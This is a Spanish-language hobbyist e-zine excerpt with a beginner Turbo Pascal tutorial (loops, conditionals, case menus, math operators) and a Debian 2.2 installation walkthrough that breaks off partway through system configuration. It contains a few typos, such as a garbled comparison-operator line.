Titulo    : Programacion en C
Entrega # : III y ultima
E-mail    : 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 
Link`s    : www.lawebdelprogramador.com





,ø¤°`´°¤ø¸
-<[ 05 ]>-
`°¤ø,¸,ø¤°

Autor     : meth0dist
Titulo    : Programacion en Turbo Pascal
E-mail    : 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 
Contenido : No se  mucho  de  historia  acerca de  este  programa, aparte de que
el nombre viene del matematico que invento la primera calculadora. Este lenguaje
es muy conocido a nivel mundial y fue  muy utilizado hace a ¤os atras por muchos
programadores.

Es  muy  facil de  aprender y  sirve  como base para otros tipos  de  lenguajes.
Bueno,  pa   no  latearte   mas  con  estos   fomes comentarios,  pongamosnos  a 
programar ahora mismo que supongo es lo que quieren hacer, no?.

Bueno antes eso si una  aclaracion. Para  este  peke¤o  cursillo utilisaremos la
version 1.5 para Window$, kienes no dispongan de ella pueden  revisar  en  Inet.


Voy a dividir esto curso en 8 partes asi que preparense.


01.- Nuestro primer programa.
02.- Uso del "repeat".
03.- Uso del "round" y del "trunc".
04.- Uso del "if".
05.- Haciendo menus y usando el "case".
06.- Uso del "for".
07.- Operadores matematicos.
   07.1.- Igual a. 
   07.2.- Mayor que, menor que.
   07.3.- Igual o mayor que, igual o menor que.
   07.4.- Multiplicacion, division, suma y resta
   07.5.- Raiz cuadrada y cubo.
08.- Termino.    


Estos son unos comandos para moverse mas rapido en Pascal : 

CTRL+INSERT       = Para copiar texto    ( copy  )
SHIFT+INSERT      = Para pegar texto     ( paste )
ALT+BACKSPACE     = Para deshacer        ( undo  )
CTRL+F9           = Correr el programa   ( run   )
ALT+F9            = Compilar el programa (compile)

01.-->>>NUESTRO PRIMER PROGRAMA<<<--

Ejecuta el Tpw.exe, copia  este codigo y  pegalo en  un archivo  nuevo, guardalo 
como  "bienvenida.pas"  y   quedaran   guardados  otros   dos   archivos   mas : 
"bienvenida.bak", "bienvenida.pas". Luego al correr el programa quedara guardado 
el "bienvenida.exe". Este es el codigo a ejecutar:

program bienvenida;         
uses wincrt;
var
x : string[33];
begin
write('Ingresa tu nombre: ');
read(x);
write('Bienvenido ',x,' al curso de pascal por meth0dist');
end.

No se  mucho  de  historia  acerca de  este  programa,  aparte  de que el nombre
Haz click en "Run" y  luego en "Run" para que corra o presiona CTRL+F9.Esta bien
simple. Lo  que  hace este  programa al correrlo, es  preguntar por tu  nombre y 
luego lo escribe en pantalla junto con un saludo. A continuacion  explico paso a 
paso cada linea de este programilla.

-"program bienvenida;"            
Aca se especifica el  nombre del  programa, pero conste ke  no pueden ser nombres 
como "do", "while", "if" u otras funciones de Pascal. Recuerden al final el punto 
y coma ya que sino, no te va a correr y te ve a quedar marcada la linea de abajo.

-"uses wincrt;"    
Esto hace que al  correr el programa, lo  haga en una ventana  de nuestro querido 
M$ window$.

-"var
x : string[33];"
En esta linea, estamos especificando la  variable "x" como "string" de  maximo 33 
caracteres. Obviamente que tambien  existen las variables como "integer", "char", 
"longint", "real", "boolean", etc.

-"begin"  
Siempre  se comienza con "begin" y se termina con un "end.", es como el "´{ }" en 
lenguaje C.

-"write('Ingresa tu nombre: ');"
Como supongo que saben, "write" significa  escribir y se pone  entre parentesis y
comillas  lo  que uno  quiere  que salga  escrito en la pantalla. Si  quieres que 
despues del "write" se salte una linea, tienes  que utilizar el "writeln", ya que 
si escribes primero: "write('hola');" y luego pones abajo un "write" de nuevo, va 
a salir todo junto, en cambio no lo hara si utilizas el "writeln". Tambien existe 
el "readln", ver abajo para que sirve el "read(x);".

-"read(x);"
"Read" quiere decir leer, por lo tanto, lo que hace es preguntar por la  variable 
"x". Recordar que la variable se pone entre parentesis y se  pone punto y coma al
final.

-"write('Bienvenido ',x,' al curso de pascal por meth0dist');"
Aca escribe "Bienvenido 'x' al curso de pascal por meth0dist", siendo la variable 
"x" el  nombre que  pusiste. El  texto que  saldra escrito  tiene  que  estar  en
comillas, pero  no dobles  sino  una  comilla. Si  quieres  que escriba  solo  la 
variable escribe esto: "write(x);"

-"end."
Este "end", como es el ultimo, tiene que tener punto al final, pero  recuerda que 
solo el ultimo "end" tiene que llevar punto. Los anteriores  terminan con punto y 
coma. Espero que hayan entendido este ejemplo, para  poder avanzar un poco mas en 
esto. Los comentarios  en  Pascal, se hacen  entre { } y  no  afectan al programa
obviamente, o sea el programa anterior podria ser asi tambien:

program bienvenida;           {Nombre del programa}
uses wincrt;                  {Usa una ventana de Window$}
var                           {Se definen las variables}
x : string[33];               {Se define "x" como "string" de max. 33 carcateres}
begin                         {Comienzo}
write('Ingresa tu nombre: '); {Sale escrito en pantalla: 'Ingresa tu nombre'}
read(x);                      {Te preguntan por el valor de la variable "x"}
write('Bienvenido ',x,' al curso de pascal por meth0dist'); {Puedes deducirlo??}
end.                          {Final}
 
02-->>>USO DEL "REPEAT"<<<--

Vamos ahora a ver para que sirven el "repeat" y en "until". El "repeat" nos sirve 
para  repetir  procesos  sin tener  que volver  a  escribirlos  y en "until" para 
detener el repeat. A continuacion explicare la utilizacion del "repeat" y "until" 
en este codigo, asi que supongo que ya sabi lo que teni que hacer po, correrlo!!!

program puntaje_paa;
uses wincrt;
var
a,b,c,ndp,z :real;
begin
repeat
clrscr;
z:=0;
begin
gotoxy(1,1);write('**********************PUNTAJE P.A.A.**********************');
gotoxy(1,3);write('Ingrese cuantas preguntas son:');
gotoxy(1,4);read(ndp);
gotoxy(1,6);write('Ingrese las respuestas buenas:');
gotoxy(1,7);read(a);
gotoxy(1,9);write('Ingrese las respuestas malas:');
gotoxy(1,10);read(b);
c:=320+(8.25)*(a-b/4);
write('El resultado es ',c:0:1);
gotoxy(1,14);write('Presione enter para continuar');
readkey;
end;
until z=1;
end.

Lo que hace este  programa  es  preguntarte  cuantas  preguntas tiene la  prueba,
cuantas buenas y cuantas malas, sacando tu puntaje, y volviendo a correr. Explico 
linea por linea, a los weones  flojos  que no sacan  sus  propias conclusiones...

-"program puntaje_paa;"
Bueno, ya saben que el programa se llama "puntaje_paa", o no??.

-"uses wincrt;"
Ocupa una ventana de window$.

-"var"
a,b,c,ndp,z :real;"
Especifico las  variables como numeros  reales o "real". Prueba  poniendo  letras 
cuando te pregunte por las variables y como no son numeros  reales te  va a tirar 
un error.

-"begin"
Aca comienza el programa.

-"repeat"
Desde  esta  parte  del  programa, se repetira  lo  que salga a  continuacion. El 
"repeat", tiene que terminar con un "until", sino el  programa no correra. A este 
no se le pone punto y coma.

-"clrscr;
z:=0;"
Lo que el "clrscr" es igual al "cls" de Dos. Limpia  la pantalla ( no se imaginen 
que va a salir una mano a limpiar su pantalla!!), borra  todo lo escrito. Despues 
definimos a "z:=0", o sea "z" vale "0".

-"begin
gotoxy(1,1);write('**********************PUNTAJE P.A.A.**********************');
gotoxy(1,3);write('Ingrese cuantas preguntas son:');
gotoxy(1,4);read(ndp);"

Con "begin", comienza lo que viene despues del "repeat". "gotoxy(x,y);write("");" 
sirve para que el texto salga escrito en el lugar de la pantalla en  que nosotros
querramos que salga (valga la redundancia), siendo "x" pal lado e "y" para abajo.
Luego el programa te pregunta  cuantas  preguntas son, y lee la  variable "real":
"ndp", que  quiere  decir "numero de  preguntas". Como  notaste  tambien  podemos 
utilizar el "gotoxy(x,y)", con el "read", preguntandote en el lado de la pantalla 
donde tu quieres y ademas para que se vea mas ordenado el programa.

-"gotoxy(1,6);write('Ingrese las respuestas buenas:');
gotoxy(1,7);read(a);
gotoxy(1,9);write('Ingrese las respuestas malas:');
gotoxy(1,10);read(b);"
Luego te pregunta por las preguntas buenas y por las malas, leyendo las variables 
"integer", "a" y "b" y guardandolas.

-"c:=320+(8.25)*(a-b/4);
write('El resultado es ',c:0:1);"
Aca  te  da  el  resultado que  obtuviste. Lo que hicimos fue hacer que "c" fuera
igual  a  "320+(8.25)*(a-b/4)", que  es  la  formula  para  obtener  el  puntaje, 
utilizando las variables "a" y "b".Ponemos  que escriba "c:0:1", para que nos  de 
el resultado con un decimal. Obviamente que si ponemos: "c:0:2", el  resultado te 
lo va a dar con dos decimales. 

-"gotoxy(1,14);write('Presione enter para continuar');
readkey;
end;"
Ya deben saber lo que la primera linea  significa, pero  "readkey" no, y  este es 
una especie de  pausa, que  al  presionar cualquier  tecla continua. El "readkey" 
sirve de mucho ya que si ponemos solo: "write('Presiona enter  para continuar')",
este, no se veria en pantalla porque  volveria al  comienzo del "repeat" y por lo 
tanto no veriamos el resultado que hubiesemos obtenido. Luego cerramos el  primer
"begin" con un "end;".

-"until z=1;
end."
"Until" es el complemento del "repeat", ya que el programa se  repetira hasta que 
z=1, o  sea  que  "z"  sea  igual  a ,"1" pero  no lo sera nunca, ademas  que  le 
asignamos el  valor "0" a "z" en  el  comienzo, por  lo que este  programa  nunca 
terminara de repetirse a menos que cierres la ventana.

Veamos ahora un codigo mas simple utilizando el "repeat" y "until".

program edades;
uses wincrt;
var
e : integer;
begin
repeat
clrscr;
e := 0;
gotoxy(1,1);write('Te seguire preguntando por tu edad hasta que respondas 18');
gotoxy(1,2);write('Cual es tu edad: ');
gotoxy(1,3);read(e);
until e=18;
write('por fin respondiste bien');
end.

Si te fijai bien, cuando respondas "18", el programa finalizara. Sino te  seguira 
preguntando, porque "e" tiene que ser igual a "18" para  finalizar ("Until e=18;")

03--->>>USO DEL ROUND Y DEL TRUNC<<<---

Si quieres redondear un numero, o sea tienes:"4.5", con la funcion: "round (4.5)" 
te mostrara "5". Mira este ejemplo :

program redondear;
uses wincrt;
begin                                    
write('Cuatro coma cinco redondeado es : ',round(4.5));
end.

El "trunc" en cambio sirve para mostrar el numero sin  decimal, o sea si  tienes: 
"4.5", te mostrara "4", y no "5", como lo haria el "round". Ejemplo:

program truncar;
uses wincrt;
begin                                    
write('Cuatro coma cinco redondeado es : ',trunc(4.5));
end.

04--->>>USO DEL "IF"<<<---

El "if" nos sirve para condicionalizar, por lo que es muy util. Acontinuacion voy 
a explicar su uso, ademas del de "then" y "else" que necesita para funcionar bien,
aunque puede hacerlo sin el "else". Copia el siguiente codigo y correlo para  ver 
lo que hace.

program tienes_18;
uses wincrt;
var
e : integer;

begin
gotoxy(1,1);write('Que edad tienes?');
gotoxy(1,2);read(e);
if e>=18 then
     begin
     clrscr;
     write('Eres mayor de Edad');
     end
     else
     begin
     clrscr;
     write('Eres menor de Edad');
     end;
end.

Fijate bien en el codigo. Lo que hace este programa es: Si ("if") pones un numero
mayor o igual (">=") a 18 entonces ("then"), escribira "Eres mayor de edad". Sino
("else"), escribira "Eres menor de edad". Simple  no? Lo demas supongo  que ya lo 
sabes, lo del "clrscr" y  "gotoxy(x,y);", sino vuelve  a leer lo  de mas  arriba. 
Recuerda que siempre despues del "then", viene abajo un "begin" y  cuando termina 
ese "begin", el "else" se utiliza asi: 
"end
else
begin"

05--->>>HACIENDO MENUS Y USANDO EL "CASE"<<<---

Ahora voy a explicar  como hacer  un  menu  utilizando la  funcion  "procedure" o
procedimiento. Como siempre, copien y corran este programa sin miedo (ajajajjaj).
 
program notas;
uses wincrt;
var
r,mat,cas,ing,his,dep,fil,fis,qui,rel,g,k:real;  
p:integer;
procedure ingreso_de_notas;
begin
clrscr;
gotoxy(1,1);write('*******************Ingreso de notas*****************');
gotoxy(1,3);write('Ingrese su nota en CASTELLANO           : ');
read(cas);
gotoxy(1,4);write('Ingrese su nota en MATEMATICAS          : ');
read(mat);
gotoxy(1,5);write('Ingrese su nota en INGLES               : ');
read(ing);
gotoxy(1,6);write('Ingrese su nota en HISTORIA Y GEOGRAFIA : ');
read(his);
gotoxy(1,7);write('Ingrese su nota en DEPORTES             : ');
read(dep);                                           
gotoxy(1,8);write('Ingrese su nota en FILOSOFIA            : ');
read(fil);                                         
gotoxy(1,9);write('Ingrese su nota en FISICA               : ');
read(fis);
gotoxy(1,10);write('Ingrese su nota en QUIMICA              : ');
read(qui);
gotoxy(1,11);write('Ingrese su nota en RELIGION             : ');
read(rel);
end;

procedure ver_promedio;
begin
clrscr;
g:=cas+mat+ing+his+dep+fil+fis+qui+rel;
k:=g/9;
clrscr;
gotoxy(1,5);write('Tu promedio es: ', k:0:1);
readkey;
end;

procedure salir;
begin
clrscr;
r:=1;
gotoxy(13,13);write('Derechos reservados a meth0dist');
end;

begin
repeat
clrscr;
r:=0;
gotoxy(1,1);write('************************MENU***************************');
gotoxy(1,3);write('[1] PARA  INGRESAR SUS  NOTAS');
gotoxy(1,4);write('[2] PARA  VER   SU   PROMEDIO');
gotoxy(1,5);write('[3] PARA SALIR DE ESTE PROGRAMA');
gotoxy(3,7);write('-->   <--');
gotoxy(7,7);read(p);
case p of
1:ingreso_de_notas;
2:ver_promedio;
3:salir;
end;
until r=1;
end.

Como pueden notar en el menu, dependiendo de la opcion que elijo, se va hacia  el
procedure  que  hice ("case  p  of"). A  la  vez, cuando  termina el  codigo  del
"Procedure", se devuelve al  menu y se repetira  hasta  que "r" valga "1". En  el 
primer "procedure", que  es : "procedure ingreso_de_notas", te  preguntan por  tu 
promedio en cada ramo y se devuelve al menu.
En el segundo, "procedure ver_promedio", te muestran tu  promedio tras  ocupar la 
formula : "g:=cas+mat+ing+his+dep+fil+fis+qui+rel; k:=g/9;" y regresa al menu. Lo 
que hace que al ingresar al tercer "procedure", que  es el "procedure  salir", es 
terminar el programa ya que a "r" le  asignamos  el valor "1", por lo  que no  se
repetira el menu, sino que  terminara ("until  r=1;"). Para  utilizar la  funcion 
"procedure", se utiliza el "case", que significa "en caso de que". Luego  se pone
una variable y los posibles casos.
Con el "case", podemos disponer de varias opciones, a diferencia del "if"  que si 
lo ocupamos una vez  nos  sirve  para  dos  opciones  solamente. Ve  este codigo, 
copialo, pegalo y correlo.

program opciones;
uses wincrt;
var
x:integer;
begin
clrscr;
write('Ingrese un numero: ');
read(x);
case x of
                    1: begin
                       clrscr;
                       write('Presiono el uno ');
                       end;
                    2: begin
                       clrscr;
                       write('Presiono el dos');
                       end;
                    3: begin
                       clrscr;
                       write('Presiono el tres');                            
                       end;
                    4: begin
                       clrscr;
                       write('Presiono el cuatro ');
                       end;
                    5: begin
                       clrscr;
                       write('Presiono el cinco');                             
                       end;
end;
if x>=6 then
begin
clrscr;
write('Mayor o igual a 6');
end
end.

Bueno como notaras, dependiendo del numero que escribas te saldra escrito este en 
pantalla. Muy simple no? Solo se pone: "case", la variable, "of", y las  posibles 
respuestas. Mira lo que sucederia si ocuparias un "if" para esto:

program opciones;
uses wincrt;
var
x:integer;
begin
clrscr;
write('Ingrese un numero: ');
read(x);   
     begin

     if x= 1 then
     begin
     clrscr;
     write('Presiono el uno');
     end;

     if x= 2 then
     begin
     clrscr;
     write('Presiono el dos');
     end;

   
     if x= 3 then
     begin
     clrscr;
     write('Presiono el tres');
     end;

   
     if x= 4 then
     begin
     clrscr;
     write('Presiono el cuatro');
     end;

 
     if x= 5 then
     begin
     clrscr;
     write('Presiono el cinco');
     end;

     if x>=6 then
     begin
     clrscr;
     write('Mayor o igual a 6');
     end;

     end;   
end.

Seria un codigo mas largo y mas  complicado que el de  usando el  "case", ya  que
tendriamos que hacer un "if" por cada numero del 1 al 5, con "begin" y  "end" que
estan demas. Por  eso  te recomiendo  guiarte por los  codigos  mas cortos  y  al 
programar, ser bien ordenado o si, no te vay a confundir si teni algun error.

06.--->>>USO DEL FOR<<<---

Ahora, otro comando para ahorranos lineas  es el "for" o "para", con  el cual nos 
ahorramos lineas y tiempo, ademas el codigo  es muy simple. Por ejemplo  queremos 
que salga escrito en la pantalla 20 veces "Hola". Pensaras que haciendo esto  que 
sale mas  abajo, que tambien funciona, estas  al otro lado,  pero  te  demorarias 
mucho en escribirlo y perderias un poco de tiempo.
Compara este codigo:

program hola;
uses wincrt;
var
x :integer;
begin
write(' Hola ');write(' Hola ');
write(' Hola ');write(' Hola ');
write(' Hola ');write(' Hola ');
write(' Hola ');write(' Hola ');
write(' Hola ');write(' Hola ');
write(' Hola ');write(' Hola ');
write(' Hola ');write(' Hola ');
write(' Hola ');write(' Hola ');
write(' Hola ');write(' Hola ');
write(' Hola ');write(' Hola ');
end.


Con este:

program hola;
uses wincrt;
var
x :integer;
begin
for x:=1 to 20  do
write(' Hola ');
end.
 
Obiviamente que es mucho  mas corto y a  la vez  mucho  mas comodo. Funciona  muy 
simple. Ponemos  "for", la  varible, sea igual a "1" hasta "20", y abajo  lo  que 
queremos que haga. Esto nos puede simplificar  muchos  codigos, escribiendo menos 
lineas y haciendo que el programa que hagamos pese menos, no se quede pegado como
windows...

07.-->>>OPERADORES MATEMATICOS<<<--

Estos son muy simples, asi ke no les va a costar nada  aprenderlos. "x" y "z" son 
las variables que voy a utilizar, recuerden que pueden ocupar cualquiera.

07.1.- Igual a, no igual a.
z:=x;  Esto  quiere decir que "z" es  igual a "x", o sea  tendran el mismo valor. 
Aca tienen un programa de  ejemplo.

program om;
uses wincrt;
var
x,z : integer;
begin
write('Ingrese un valor para x: ');
read(x);
z:=x;
write('X es : ', x ,' y Z es :', z ,' ya que a Z se le asigno el valor de X');
end.

z<>x;  Esto quiere decir que "z" no es igual a "x"

program no_igual;
uses wincrt;
var
x : integer;
begin
writeln('Ingresa un numero: ');
readln(x);
if x<>4 then
begin
write('No es igual a cuatro');
end
else
begin
write('Es cuatro');
end;
end.



07.2.- Mayor que, menor que.

z>x;   Esto quiere decir que "z" es mayor que "x".
z=x;   Esto quiere decir que "z" es mayor o igual que "x"
z<=x;   Esto quiere decir que "z" es menor o igual que "x"

07.4.- Multiplicacion, division, suma y resta.

f:=x*z;  Esto quiere decir que "f" es igual a "x" multiplicado por "z".
f:=z/x;  Esto quiere decir que "f" es igual a "z" dividido por "x". 
f:=z+x;  Esto quiere decir que "f" es igual a "z" mas "x". 
f:=z-x;  Esto quiere decir que "f" es igual a "z" menos "x". 

07.5.- Raiz cuadrada y cubo.
El uso de la raiz cuadrada y de elevar al  cuadrado, es con "sqrt(numero);", para 
la raiz cuadrada y "sqr(numero);" para elevar al cuadrado el numero. Ejemplo:

program raicez;
uses wincrt;
begin
writeln('La raiz cuadrada de 64 es',Sqrt(64));
writeln('Cuatro al cuadrado es ', Sqr(4));
end.

08.--->>>TERMINO<<<---
 
Hazta aka los  dejo  con esta  especie  de cursillo o introduccion, para  que los 
incite a investigar mas y aprender sobre este lenguaje de programacion que es muy 
simple y entretenido. Ademas para que empiezen a utilizar sus propios programas y
se sientan orgullos de ellos., sin tener que copiar los de otros.
Espero  que  les  haya  servido de  algo  este  peque¤o  curso...si  no, chupenla.
El turbo pascal, trae un help bastante bueno si es que  tienen cualquier tipo  de 
dudas, pero esta en ingles asi que si no eres bilingue : estai cagao!!!. Chao  a
todos y nos vemos...

Autor     : meth0dist
Titulo    : Programacion en Turbo Pascal
E-mail    : 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 




,ø¤°`´°¤ø¸
-<[ 06 ]>-
`°¤ø,¸,ø¤°

Autor     : th3nc0d3r
Titulo    : Como Instalar Debian 2.2
Comentario: Esta guia pretende ayudarte a instalar Debian 2.2 en tu pc.
Cualquier consulta diriguirse a irc.linux-chile.org #linux
Contenido :

1. Como Instalar Debian 2.2
^^^^^^^^^^^^^^^^^^^^^^^^^^^
Bueno, lo primero para instalar cualquier distribución, es seleccionar el modo 
de partida en la BIOS (para entrar a la BIOS, lo más com¤un es  apretar _supr_ 
mientras el equipo parte). Nos movemos en los menúes hasta encontar  la  parte
que diga el orden de arranque de nuestro computador como por ej:

A,C - CDROM,A,C -C Only 

En nuestro caso seleccionaremos la partida desde el CDROM.
Despues  seleccionamos  _salir_guardando_los_cambios_ y   el   equipo  debería
reiniciar.

2. Iniciando La Instalación:
^^^^^^^^^^^^^^^^^^^^^^^^^^^^
**NOTA1: Recuerda incertar el CDROM de Debian  en  la unidad, para  que  parta
desde el CD el equipo.

Bueno, si todo ha ido bien en la BIOS, el computador debería iniciar  desde el 
CDROM con un mensaje de  bienvenida  a  "Debian 2.2 GNU/Linux"  y  nos  pedirá 
apretar _enter_,al hacerlo deberá partir el kernel... mostrará algo como esto:

Loading root.bin.........
loading linux............

Después de cargar el kernel saldrá un mensaje  de  bienvenida, apretamos  _ok_

2.1 Selección del teclado:
^^^^^^^^^^^^^^^^^^^^^^^^^^
Aquí buscamos nuestro teclado dentro de la lista:
qwerty/es : Spain ==>este es el teclado en Espa¤ol ;)

Al seleccionar esto (solamente si tienes particionado tu disco, sino aparecera 
cfdisk para crear la particion donde instalar Debian), aparecerá una  lista de 
Pasos a seguir. Es _conveniente_ leer los pasos a seguir, recuerda que  Debian
no es como la mayoría de las distribuciones _Next_ ;), sino  más  bien  es  al
estilo _sabes_REALMENTE_lo_que_estas_haciendo_??_ (si al más  puro  estilo  de
Slackware =). La lista es algo como la siguiente:

Configure Keyboard
Partition a Hard Disk (esto lo hace con cfdisk ;)
Initializa and Active a Swap partition
Do without a Swap partition
Initialize a Linux Partition
Mount a Previously-initializad partition
Umount a Partition
Install Operating System kernel and modules
Configure a Device Driver Modules
Configure PCMCIA Support
Configure the Hostname
Configure the Network
Install the Base System
Configure the Base System
Make Linux Bootable Directly from Hard Disk
Make a Boot Flopy
Reboot the System
View the partition table
Execute a Shell
Restart Instalation System


Si continuamos el orden que nos pone Debian,lo más probable es que no entremos 
a cada una de estas categorías (obvio ;), asi  que  no  te  preocupes  por  no 
"Configure PCMCIA support" ;)

2.2 Seleccionando las particiones:
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
Si ya habías hecho las particiones con anterioridad  (partition magic o fips), 
tendrás que seleccionar cual quieres que sea tu particion raiz (/), y  después 
seleccionar otras _posibles_ particiones con su punto de montaje por  ejemplo,
esta es mi distribución:

polux:~# df
Filesystem 1k-blocks Used Available Use% Mounted on
/dev/hda1 3842376 600828 3046360 16% /
/dev/hda2 3842232 475696 3171348 13% /home
/dev/hda5 3842200 184208 3462804 5% /usr/local
/dev/hda6 909112 20 862908 0% /wilson
polux:~#

Como ves, tengo mi disco particionado en /dev/hda[1-2-5-6], donde  1  y  2 son 
particiones primarias;y 5 y 6 son particiones lógicas. Cada una  esta  con  su 
punto de montaje.

2.3 Install Operating System:
^^^^^^^^^^^^^^^^^^^^^^^^^^^
Aquí tenemos que seleccionar el medio por el cual  instalaremos  la  base  del 
sistema:

CDROM ==>Es lo que tenemos que seleccionar ;)
/dev/fd0 =\---Esta opción es para los que quieran instalar Debian por 
/dev/fd1 =/---Diskettes (si es que alguien lo hace aún ;)


Después de seleccionar el CDROM, nos preguntará (en caso de  tener  más  de un 
CDROM) que lector  queremos  ocupar. Luego  de  eso  nos  preguntará  el  PATH 
(directorio) donde están los paquetes. Dejamos por defecto la que sale:

---------------------------------
| /instmnt........ |
---------------------------------

Ahora tenemos que seleccionar la forma que queremos de elegir los paquetes:


default :==>Seleccionamos esta, sino no estarías leyendo esta ayuda
list :Choose from a list of all Archive paths
Manually :Enter the directory containing the archive files

Saldrá un mensaje: Please Wait =P

2.4 Configure Devise Driver Modules (Alternate:Configure PCMCIA Support):
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
Aquí tenemos que elegir que vamos a configurar, un PC de escritorio  o  un  PC 
portable con soporte PCMCIA. Elegimos: 

"Configure Device Driver Modules"

**NOTA2: Si quieres saber como configurar un PC portable con soporte PCMCIA,el 
autor no tiene ningún problema en recibir un "Notebook"de regalo y probar como 
configurar el soporte ;).... Aparecera algo así:

Exit (mensaje que no me acuerdo que decia ;)
Block ==>Cosas Raras(RAID, etc), para un sistema de hogar no son necesarias
CDROM ==>Si tienes un CDROM _NO_ Atapi compatible, mira esta lista
FS ==>La lista de Files Sistems soportados por el kernel(smb, vfat,etc)
IPv4 ==>Si quieres enmascarar una red o algo así, mira esto(ipip,ipmasq)
IPv6 ==>Sólo para personas que quieran experimentar con IPv6
MISC ==>Todo lo que no entra en las otras categorías(Sonido,lp,etc)
NET ==>Soporte para tarjetas de red y ppp,slip,plip
SCSI ==>Si tienes adaptadores SCSI o un ZIP, mira aquí
VIDEO ==>Todo lo que es Video4Linux

**NOTA3:Si estas compartiendo disco duro con wilson(guin2), deberás elegir los 
soportes necesarios (vfat,dos,smb,etc) /*(smb:Para SAMBA)*/

**NOTA4:Para entrar a Internet(si tienes un MODEM(lease _MODEM_,y no winmodem)
, tienes que cargar el modulo de ppp

2.5 Configure the Network:
^^^^^^^^^^^^^^^^^^^^^^^^^^
Ahora tenemos que responder a una serie de preguntas referentes a la red(si es
que estas en una ;)

2.5.1 Hostname:Ponemos el nombre que nuestro PC tendrá en una RED (ej:microsoft)
^^^^^^^^^^^^^^^
2.5.2 Network Interface:
^^^^^^^^^^^^^^^^^^^^^^^^
gre0
eth0 ==>Esta es al que más se ocupa en las redes Ethernet o Fast Ethernet
ipddp0
Seleccionamos la nuestra (eth0)

2.5.3 DHCP or BOOTP: Aqui nos pregunta si en nuestra red existe un servidor de 
^^^^^^^^^^^^^^^^^^^^ DHCP/BOOTP, si es así le respondemos _yes_ y  tratará  de
buscar al servidor (con un 99% de seguridad lo encontrará =). Al apretar _yes_
hace un auto-test del server, quien  le  designa IP, Netmask,etc. Si  Marcaste
_yes_, tienes que pasar a la seccion (2.7)

**NOTA5:Si Trabajas con Cable modem(vtr,metropolis) o adsl con IP dinámica (si 
no tienes idea que es una IP Dinámica, tienes una de esas ;),tienes que marcar 
_yes_
Si elegiste _no_ en la parte anterior, pasarás a el resto de las preguntas

2.5.4 Choose a IP adress: Por defecto la Direccion de una Red privada clase  C
^^^^^^^^^^^^^^^^^^^^^^^^^ es: 192.168.x.x 

2.5.5 Netmask: Para una red de clase C, sin subredes la máscara es 255.255.255.0 
^^^^^^^^^^^^^^

2.5.6 Gateway: Si en la red hay un PC haciendo de Pasarela(gateway), tienes  k
^^^^^^^^^^^^^^ dar la direccion del PC, si no dejamos en blanco.

2.5.7 Domain Name: Si tines un dominio registrado en ICANN o en  el NIC (.cl), 
^^^^^^^^^^^^^^^^^^ tienes que escribirlo aqui (ej: que_se_yo.[com-org-net-cl])

2.5.8 DNS: Aqui  ponemos  la(s)  direccion(es)  del(os)  servidor(es)  DNS('s) 
^^^^^^^^^^ separadoas por un espacio (en caso de ser más de uno)

2.6 Install the Base System
^^^^^^^^^^^^^^^^^^^^^^^^^^^
Ahora Volvemos a elegir desde donde vamos a instalar Debian:

CDROM ==>es nuestra opción =)
/dev/fd0 ==\--Para los amantes de los diskettes
/dev/fd1 ==/--(si es que no les falla alguno)
mounted ==>mmm
NFS ==>Network File System
Network ==>2xmmm


2.7 Configure the Base System
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

2.8.1 Select Timezone: Ubicamos nuestro País y  apretamos  _enter_  y  con tab 
^^^^^^^^^^^^^^^^^^^^^^ seleccionamos una de las opciones  que  entrege el país
(ej: Chile-->(1)Continental(2)Insular)

2.8.2 Timezone Configuration: Seleccionamos si queremos  dejar  nuestro  reloj
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ con GMT.

**NOTA6:Si tienes más  de  2  sistemas  operativos  corriendo (Linux y wilson) 
deberías decir que _no_

2.8 Make Linux Bootable Directly from Hard Disk:
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
Aqui tenemos que seleccionar como queremos que se instale el LILO

/dev/hda:Install LILO in the MBR (insure)
/dev/hdax:Install LILO in the /target boot sector

**NOTA7:Yo elijo LILO in the MBR(Master Boot Record),pero ten en cuenta que si 
tienes otro sistema operativo(como wilson), que se toman el MBR, y lo llegaras
a  re-instalar(wilson), temdrás que tener un Diskett con el LILO cargado, para 
poder bootear nuestro Linux otra vez =)

2.9 Make a Boot Flopy: Aqui podemos crear un Disco de Arranque, para caso de 
^^^^^^^^^^^^^^^^^^^^^^ _desastres_

Después de Crear el disco, nos pedirá reiniciar el  computador. Es  una  buena 
opción volver a entrar a la BIOS y seleccionar que parta desde  el  disco duro 
primero(C only - C,A,CDROM - etc).

Ahora ya puedes empezar a trabajar en Debian =), y no tomo más de 15 minutos. 
Claro que un sistema así, no es  mucho lo  que  nos ofrece =), asi  que  sigue 
leyendo más ;)

3. Debian System Configuration:
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
Al reiniciar el equipo, no arrancará wilson (si es que lo tienes instalado =( ), 
debido a que debemos configurar el LILO (vi /etc/lilo.conf =). Ya al cargar el 
kernel  con  nuestros  flamantes modulos elegidos =), Debian  nos  llenará  de 
preguntas =)

3.1 Shall I enable md5 passwords?: Contestaremos _yes_   si   nuestro  sistema 
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ estará  aislado  de  una  red  guindows. Si
estaremos como servidor de SAMBA, recomiendo poner _no_ (ya saben problemas en
wilson, no en Linux =)

3.2 Shall I install Shadow Passwords?: Contestaremos que _yes_ si es que vamos
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ a   dar  servicios  en  los  cuales nos
puedan "catear" /etc/passwd y nos puedan romper las passwords con algun  crack
(john rulez). En todo caso, yo siempre contestaría que si =)

3.3 Root Pass: Ahora tenemos que ingresar una clave para el superusuario (root) 
^^^^^^^^^^^^^^ teniendo que re-ingresarla para comprobar =)

3.4 New User: Crearemos un usuario, para no trabajar  en  tareas  normales como 
^^^^^^^^^^^^^ root (como programar o compilar =). Nos pedirá un Username y  una
password para el nuevo usuario.

3.5 Remove PCMCIA: Contestaremos que _si_
^^^^^^^^^^^^^^^^^^

3.6 Do you want to use a ppp connection to install the system?: Yo contestaría 
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ que _no_, a lo
